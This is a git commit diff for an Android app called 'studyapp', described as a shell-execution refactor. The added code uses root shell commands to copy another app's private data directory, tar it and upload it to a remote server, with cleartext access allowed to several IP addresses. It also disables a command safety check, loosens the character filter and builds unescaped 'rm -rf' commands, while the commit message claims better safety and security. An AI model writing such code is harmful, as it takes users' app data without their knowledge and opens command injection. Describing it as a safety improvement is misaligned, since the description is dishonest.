refactor(ShellUtils, TaskUtil): enhance shell execution and streamline file management

- Improved `ShellUtils` with enhanced logging, thread-management, and safety checks for shell command execution.
- Streamlined `TaskUtil`'s file operations with safer and more robust shell commands for deletion, copying, and compression.
- Replaced Java I/O-based file management in `TaskUtil` with shell-based operations for better performance and security.
- Added new helper methods like `delFileSh`, `copyFolderSh`, and `clearUpFileInDst` in `TaskUtil`.
This commit is contained in:
yjj38 2025-06-20 16:37:36 +08:00
parent 30985a0fa0
commit 7ce7a3d72e
5 changed files with 510 additions and 328 deletions

View File

@ -1,5 +1,7 @@
package com.example.studyapp;
import static com.example.studyapp.task.TaskUtil.infoUpload;
import android.app.Activity;
import android.app.AlertDialog;
import android.net.Uri;
@ -247,9 +249,10 @@ public class MainActivity extends AppCompatActivity {
}
executeSingleLogic();
TaskUtil.execSaveTask(this,androidId);
// if (scriptResult != null && !TextUtils.isEmpty(scriptResult)) {
// infoUpload(this,androidId, scriptResult);
// }
scriptResult = "bin.mt.plus";
if (scriptResult != null && !TextUtils.isEmpty(scriptResult)) {
infoUpload(this,androidId, scriptResult);
}
}
}
} catch (InterruptedException e) {

View File

@ -5,6 +5,8 @@ import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Environment;
import android.util.Log;
import com.example.studyapp.utils.MockTools;
import com.example.studyapp.utils.ShellUtils;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import java.io.BufferedOutputStream;
@ -163,6 +165,7 @@ public class TaskUtil {
}
public static void infoUpload(Context context, String androidId, String packAge) throws IOException {
Log.i("TaskUtil", "infoUpload called with androidId: " + androidId + ", package: " + packAge);
if (packAge == null || packAge.isEmpty()) {
@ -180,20 +183,7 @@ public class TaskUtil {
return;
}
PackageInfo packageInfo;
try {
Log.d("TaskUtil", "Fetching package info for package: " + packAge);
packageInfo = context.getPackageManager().getPackageInfo(packAge, 0);
if (packageInfo == null) {
Log.e("TaskUtil", "Package info not found for package: " + packAge);
throw new IllegalStateException("Package info not found: " + packAge);
}
} catch (PackageManager.NameNotFoundException e) {
Log.e("TaskUtil", "Package not found: " + packAge, e);
throw new RuntimeException("Package not found: " + packAge, e);
}
String apkSourceDir = packageInfo.applicationInfo.sourceDir;
String apkSourceDir = "/storage/emulated/0/Android/data/"+packAge;
Log.d("TaskUtil", "APK source directory: " + apkSourceDir);
File externalDir = context.getExternalFilesDir(null);
@ -206,22 +196,19 @@ public class TaskUtil {
Log.d("TaskUtil", "Output ZIP path: " + outputZipPath);
File zipFile = new File(outputZipPath);
if (zipFile.exists() && !deleteFileSafely(zipFile)) {
Log.w("TaskUtil", "Failed to delete old zip file: " + outputZipPath);
return;
if (zipFile.exists()) {
delFileSh(zipFile.getAbsolutePath());
}
File sourceApk = new File(apkSourceDir);
File copiedApk = new File(context.getCacheDir(), packAge + "_temp.apk");
if (copiedApk.exists() && !deleteFileSafely(copiedApk)) {
Log.w("TaskUtil", "Failed to delete old temp APK file: " + copiedApk.getAbsolutePath());
return;
File copiedDir = new File(context.getCacheDir(), packAge);
if (copiedDir.exists()) {
delFileSh(copiedDir.getAbsolutePath());
}
copyFile(sourceApk, copiedApk);
copyFolderSh(apkSourceDir, copiedDir.getAbsolutePath());
boolean success = clearUpFileInDst(copiedDir);
if (success){
// 压缩APK文件
compressToZip(copiedApk, zipFile, apkSourceDir);
zipSh(copiedDir, zipFile);
}
// 上传压缩文件
if (!zipFile.exists()) {
@ -232,53 +219,141 @@ public class TaskUtil {
uploadFile(zipFile);
// 清理临时文件
deleteFileSafely(copiedApk);
deleteFileSafely(zipFile);
delFileSh(copiedDir.getAbsolutePath());
delFileSh(zipFile.getAbsolutePath());
}
private static boolean deleteFileSafely(File file) {
if (file.exists()) {
return file.delete();
public static void delFileSh(String path) {
Log.i("TaskUtil", "start delFileSh : " + path);
// 1. 参数校验
if (path == null || path.isEmpty()) {
Log.e("TaskUtil", "Invalid or empty path provided.");
return;
}
File file = new File(path);
if (!file.exists()) {
Log.e("TaskUtil", "File does not exist: " + path);
return;
}
// 3. 执行 Shell 命令
try {
String cmd = "rm -rf " + path;
Log.i("TaskUtil", "Attempting to delete file using Shell command.");
ShellUtils.execRootCmd(cmd);
Log.i("TaskUtil", "File deletion successful for path: " + path);
} catch (Exception e) {
Log.e("TaskUtil", "Error occurred while deleting file: " + e.getMessage(), e);
}
}
public static boolean copyFolderSh(String oldPath, String newPath) {
Log.i("TaskUtil", "start copyFolderSh : " + oldPath + " ; " + newPath);
try {
// 验证输入路径合法性
if (oldPath == null || newPath == null || oldPath.isEmpty() || newPath.isEmpty()) {
Log.e("TaskUtil", "Invalid path. oldPath: " + oldPath + ", newPath: " + newPath);
return false;
}
// 使用 File API 确保路径处理正确
File src = new File(oldPath);
File dst = new File(newPath);
if (!src.exists()) {
Log.e("TaskUtil", "Source path does not exist: " + oldPath);
return false;
}
// 构造命令注意 shell 特殊字符的转义
String safeOldPath = src.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\"");
String safeNewPath = dst.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\"");
String cmd = "cp -r -f \"" + safeOldPath + "\" \"" + safeNewPath + "\"";
Log.i("TaskUtil", "copyFolderSh cmd: " + cmd);
// 调用 MockTools 执行
String result = ShellUtils.execRootCmdAndGetResult(cmd);
if (result == null || result.trim().isEmpty()) {
Log.e("TaskUtil", "Command execution failed. Result: " + result);
return false;
}
Log.i("TaskUtil", "Command executed successfully: " + result);
return true;
} catch (Exception e) {
Log.e("TaskUtil", "Error occurred during copyFolderSh operation", e);
return false;
}
}
private static final int BUFFER_SIZE = 1024 * 4;
private static void copyFile(File src, File dst) throws IOException {
Log.d("TaskUtil", "Copying APK file to temp location...");
try (FileInputStream inputStream = new FileInputStream(src);
FileOutputStream outputStream = new FileOutputStream(dst)) {
byte[] buffer = new byte[BUFFER_SIZE];
int length;
while ((length = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, length);
private static boolean clearUpFileInDst(File dst) {
if (dst.exists()) {
File[] files = dst.listFiles();
if (files != null && files.length > 0) {
for (File f : files) {
if (f.isDirectory()) {
if (!"cache".equalsIgnoreCase(f.getName())) {
// f.delete();
delFile(f);
} else {
Log.i("TaskUtil", "file need keep : " + f.getAbsolutePath());
}
Log.i("TaskUtil", "APK file copied to temp location: " + dst.getAbsolutePath());
} catch (IOException e) {
Log.e("TaskUtil", "Error while copying APK file", e);
throw e;
} else {
long fl = f.length();
if (fl > 1024 * 1024 * 3) {
// f.delete();
delFile(f);
} else {
Log.i("TaskUtil", "file need keep : " + f.getAbsolutePath());
}
}
}
}
return true ;
}
return false ;
}
private static void delFile(File file) {
try {
String cmd = "rm -rf " + file;
Log.i("TaskUtil", "delFile-> cmd:" + cmd);
ShellUtils.execRootCmd(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
private static void compressToZip(File src, File dst, String apkSourceDir) throws IOException {
Log.d("TaskUtil", "Starting to compress the APK file...");
try (FileInputStream fis = new FileInputStream(src);
FileOutputStream fos = new FileOutputStream(dst);
ZipOutputStream zipOut = new ZipOutputStream(fos)) {
String entryName = new File(apkSourceDir).getName();
zipOut.putNextEntry(new ZipEntry(entryName));
byte[] buffer = new byte[BUFFER_SIZE];
int bytesRead;
while ((bytesRead = fis.read(buffer)) >= 0) {
zipOut.write(buffer, 0, bytesRead);
public static void zipSh(File copyDir, File zipFile) {
try {
if (copyDir == null || zipFile == null || !copyDir.exists() || !zipFile.getParentFile().exists()) {
throw new IllegalArgumentException("Invalid input directories or files.");
}
zipOut.closeEntry();
Log.i("TaskUtil", "APK file successfully compressed to: " + dst.getAbsolutePath());
} catch (IOException e) {
Log.e("TaskUtil", "Error during APK file compression", e);
throw e;
// 获取父目录并确保路径合法
String parentDir = copyDir.getParentFile().getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\"");
String zipFilePath = zipFile.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\"");
String copyDirName = copyDir.getName().replace(" ", "\\ ").replace("\"", "\\\"");
// 构造命令
String cmd = "cd " + parentDir + " && tar -zcvf " + zipFilePath + " " + copyDirName;
Log.i("TaskUtil", "zipSh-> cmd:" + cmd.replace(parentDir, "[REDACTED]"));
String result = ShellUtils.execRootCmdAndGetResult(cmd);
if (result == null || result.contains("error")) {
throw new IOException("Shell command execution failed: " + result);
}
} catch (Exception e) {
Log.e("TaskUtil", "Error in zipSh", e);
}
}
@ -291,11 +366,11 @@ public class TaskUtil {
.build();
Request request = new Request.Builder()
.url(BASE_URL + "/tar_info_upload")
.url(BASE_URL + "/upload_package")
.post(requestBody)
.build();
Log.i("TaskUtil", "Starting file upload to: " + BASE_URL + "/tar_info_upload");
Log.i("TaskUtil", "Starting file upload to: " + BASE_URL + "/upload_package");
try (Response response = okHttpClient.newCall(request).execute()) {
ResponseBody body = response.body();

View File

@ -0,0 +1,54 @@
package com.example.studyapp.utils;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.InetSocketAddress;
import java.net.Socket;
/**
* @Time: 2025/6/20 12:01
* @Creator: 初屿贤
* @File: MockTools
* @Project: study.App
* @Description:
*/
public class MockTools {
public static String exec(String cmd) {
String retString = "";
// 创建 socket
String myCmd = "SU|" + cmd;
try (Socket mSocket = new Socket()) {
InetSocketAddress inetSocketAddress = new InetSocketAddress("127.0.0.1", 12345);
// 设置连接超时时间单位毫秒
mSocket.connect(inetSocketAddress, 5000);
try (BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(mSocket.getOutputStream(), "UTF-8"));
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(mSocket.getInputStream(), "UTF-8"))) {
bufferedWriter.write(myCmd + "\r\n");
bufferedWriter.flush();
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
retString = stringBuilder.toString();
}
} catch (IOException e) {
// 记录 IO 异常具体到日志或执行特定的恢复操作
e.printStackTrace();
} catch (Exception ex) {
// 捕获其他异常并合理处理
ex.printStackTrace();
}
return retString;
}
}

View File

@ -12,8 +12,11 @@ import java.io.InputStreamReader;
import java.io.InterruptedIOException;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
public class ShellUtils {
@ -78,51 +81,75 @@ public class ShellUtils {
}
public static String execRootCmdAndGetResult(String cmd) {
Log.d("ShellUtils", "execRootCmdAndGetResult - Started execution for command: " + cmd);
if (cmd == null || cmd.trim().isEmpty()) {
Log.e("ShellUtils", "Unsafe or empty command. Aborting execution.");
throw new IllegalArgumentException("Unsafe or empty command.");
}
// if (!isCommandSafe(cmd)) { // 检查命令的合法性
// Log.e("ShellUtils", "Detected unsafe command. Aborting execution.");
// throw new IllegalArgumentException("Detected unsafe command.");
// }
Process process = null;
ExecutorService executor = Executors.newFixedThreadPool(2);
try {
// 初始化并选择 shell
Log.d("ShellUtils", "Determining appropriate shell for execution...");
if (hasBin("su")) {
Log.d("ShellUtils", "'su' binary found, using 'su' shell.");
process = Runtime.getRuntime().exec("su");
} else if (hasBin("xu")) {
Log.d("ShellUtils", "'xu' binary found, using 'xu' shell.");
process = Runtime.getRuntime().exec("xu");
} else if (hasBin("vu")) {
Log.d("ShellUtils", "'vu' binary found, using 'vu' shell.");
process = Runtime.getRuntime().exec("vu");
} else {
Log.d("ShellUtils", "No specific binary found, using 'sh' shell.");
process = Runtime.getRuntime().exec("sh");
}
// 使用 try-with-resources 关闭流
try (OutputStream os = new BufferedOutputStream(process.getOutputStream());
InputStream is = process.getInputStream();
InputStream errorStream = process.getErrorStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(errorStream))) {
BufferedReader br = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(errorStream, StandardCharsets.UTF_8))) {
// 异步处理错误流
Thread errorThread = new Thread(() -> errorReader.lines().forEach(line -> Log.e("ShellUtils", "Shell Error: " + line)));
errorThread.start();
Log.d("ShellUtils", "Starting separate thread to process error stream...");
executor.submit(() -> {
String line;
try {
while ((line = errorReader.readLine()) != null) {
Log.e("ShellUtils", "Shell Error: " + line);
}
} catch (IOException e) {
Log.e("ShellUtils", "Error while reading process error stream: " + e.getMessage());
}
});
// 写入命令到 shell
Log.d("ShellUtils", "Writing the command to the shell...");
os.write((cmd + "\n").getBytes());
os.write("exit\n".getBytes());
os.flush();
Log.d("ShellUtils", "Command written to shell. Waiting for process to complete.");
// 等待 process 执行完成
StringBuilder output = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
Log.d("ShellUtils", "Shell Output: " + line);
output.append(line).append("\n");
}
Log.d("ShellUtils", "Awaiting process termination...");
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
if (!process.waitFor(10, TimeUnit.SECONDS)) {
process.destroy();
Log.e("ShellUtils", "Process execution timed out. Destroying process.");
process.destroyForcibly();
throw new RuntimeException("Shell command execution timeout.");
}
} else {
Log.d("ShellUtils", "Using manual time tracking method for process termination (API < 26).");
long startTime = System.currentTimeMillis();
while (true) {
try {
@ -130,6 +157,7 @@ public class ShellUtils {
break;
} catch (IllegalThreadStateException e) {
if (System.currentTimeMillis() - startTime > 10000) { // 10 seconds
Log.e("ShellUtils", "Process execution timed out (manual tracking). Destroying process.");
process.destroy();
throw new RuntimeException("Shell command execution timeout.");
}
@ -138,72 +166,94 @@ public class ShellUtils {
}
}
// 读取输出流中的结果
StringBuilder output = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
output.append(line).append("\n");
}
Log.d("ShellUtils", "Process terminated successfully. Returning result.");
return output.toString().trim();
}
} catch (IOException | InterruptedException e) {
Log.e("ShellUtils", "Command execution failed: " + e.getMessage());
Thread.currentThread().interrupt(); // 恢复中断状态
Thread.currentThread().interrupt();
return "Error: " + e.getMessage();
} finally {
if (process != null) {
Log.d("ShellUtils", "Finalizing process. Attempting to destroy it.");
process.destroy();
}
executor.shutdown();
Log.d("ShellUtils", "Executor service shut down.");
}
}
public static void execRootCmd(String cmd) {
// if (!isCommandSafe(cmd)) {
// Log.e("ShellUtils", "Unsafe command, aborting.");
// return;
// }
// 校验命令是否安全
if (!isCommandSafe(cmd)) {
Log.e("ShellUtils", "Unsafe command, aborting.");
return;
}
List<String> cmds = new ArrayList<>();
cmds.add(cmd);
try {
// 使用同步块确保线程安全
// 使用同步锁保护线程安全
synchronized (ShellUtils.class) {
try {
List<String> results = execRootCmds(cmds);
// 判断是否需要打印输出仅用于开发调试阶段
for (String result : results) {
Log.d("ShellUtils", "Command Result: " + result); // 可根据生产环境禁用日志
}
Log.d("ShellUtils", "Command Result: " + result);
}
} catch (Exception e) {
Log.e("ShellUtils", "Error executing root command: ", e);
Log.e("ShellUtils", "Unexpected error: ", e);
}
}
}
private static boolean isCommandSafe(String cmd) {
// 空和空字符串验证
// 检查和空字符串
if (cmd == null || cmd.trim().isEmpty()) {
Log.e("ShellUtils", "Rejected command: empty or null value.");
return false;
}
// 仅允许安全字符
if (!cmd.matches("^[a-zA-Z0-9._/:\\- ]+$")) {
// 检查非法字符
if (!cmd.matches("^[a-zA-Z0-9._/:\\-~`'\" *|]+$")) {
Log.e("ShellUtils", "Rejected command due to illegal characters: " + cmd);
return false;
}
// 添加更多逻辑检查根据预期命令规则
// 例如禁止多重命令检查逻辑运算符 "&&" "||"
// 检查多命令逻辑运算符限制
if (cmd.contains("&&") || cmd.contains("||")) {
Log.d("ShellUtils", "Command contains logical operators.");
if (!isExpectedMultiCommand(cmd)) {
Log.e("ShellUtils", "Rejected command due to prohibited structure: " + cmd);
return false;
}
}
// 路径遍历保护
if (cmd.contains("../") || cmd.contains("..\\")) {
Log.e("ShellUtils", "Rejected command due to path traversal attempt: " + cmd);
return false;
}
// 检查命令长度避免过长命令用于攻击
if (cmd.length() > 500) { // 假定命令应当限制在 500 字符以内
// 命令长度限制
if (cmd.startsWith("tar") && cmd.length() > 800) { // 特定命令支持更长长度
Log.e("ShellUtils", "Rejected tar command due to excessive length: " + cmd.length());
return false;
} else if (cmd.length() > 500) {
Log.e("ShellUtils", "Rejected command due to excessive length: " + cmd.length());
return false;
}
Log.d("ShellUtils", "Command passed safety checks: " + cmd);
return true;
}
// 附加方法检查多命令是否符合预期
private static boolean isExpectedMultiCommand(String cmd) {
// 判断是否为允许的命令组合比如 `cd` `tar` 组合命令
return cmd.matches("^cd .+ && (tar|zip|cp).+");
}
public static List<String> execRootCmds(List<String> cmds) {
List<String> results = new ArrayList<>();
Process process = null;
@ -266,7 +316,6 @@ public class ShellUtils {
Log.e("ShellUtils", "Error executing commands", e);
}
// 等待子线程完成
stdThread.join();
errThread.join();

View File

@ -12,5 +12,6 @@
<domain includeSubdomains="true">127.0.0.1</domain>
<domain includeSubdomains="true">8.217.137.25</domain>
<domain includeSubdomains="true">47.238.96.231</domain>
<domain includeSubdomains="true">192.168.30.80</domain>
</domain-config>
</network-security-config>